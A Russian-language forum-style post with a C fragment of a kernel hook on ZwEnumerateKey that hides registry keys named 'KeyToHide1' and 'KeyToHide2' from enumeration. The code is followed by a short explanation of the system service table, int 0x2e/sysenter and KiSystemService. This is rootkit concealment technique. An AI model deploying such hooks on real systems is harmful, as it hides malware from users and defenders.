Код:
WCHAR g_swRegHidePrefix[] = L"KeyToHide1";
WCHAR g_swRegHidePrefix2[] = L"KeyToHide2";
NTSTATUS NewZwEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength )
{
KEY_BASIC_INFORMATION *kbi = NULL;
NTSTATUS ret;
ret = TrueZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength );
if (!KeyInformationClass)
{
kbi = (KEY_BASIC_INFORMATION*)KeyInformation;
if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix[0], 18 ) == 18 )
ret = STATUS_NO_SUCH_FILE;
if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix2[0], 16 ) == 16 )
ret = STATUS_NO_SUCH_FILE;
}
return ret;
}
Ядро экспортирует указатель на SST, таблицу, в которой храняться адреса системных вызовов ядра.
API юзера выполняет какие-то действия обращается к Native-API юзера (ZwOpenKey или NtOpenKey, и т.п.),
а они-просто содержат код int 0x2e (в xp-sysenter), и управление передается обработчику прерывания 0x2e - ф-ии KiSystemService. В eax должен быть номер сис. вызова, а в edx (как я помню) - указатель на парамерты... Почти как в Unix... Только там во все регистры заносятся параметры или указатели.
|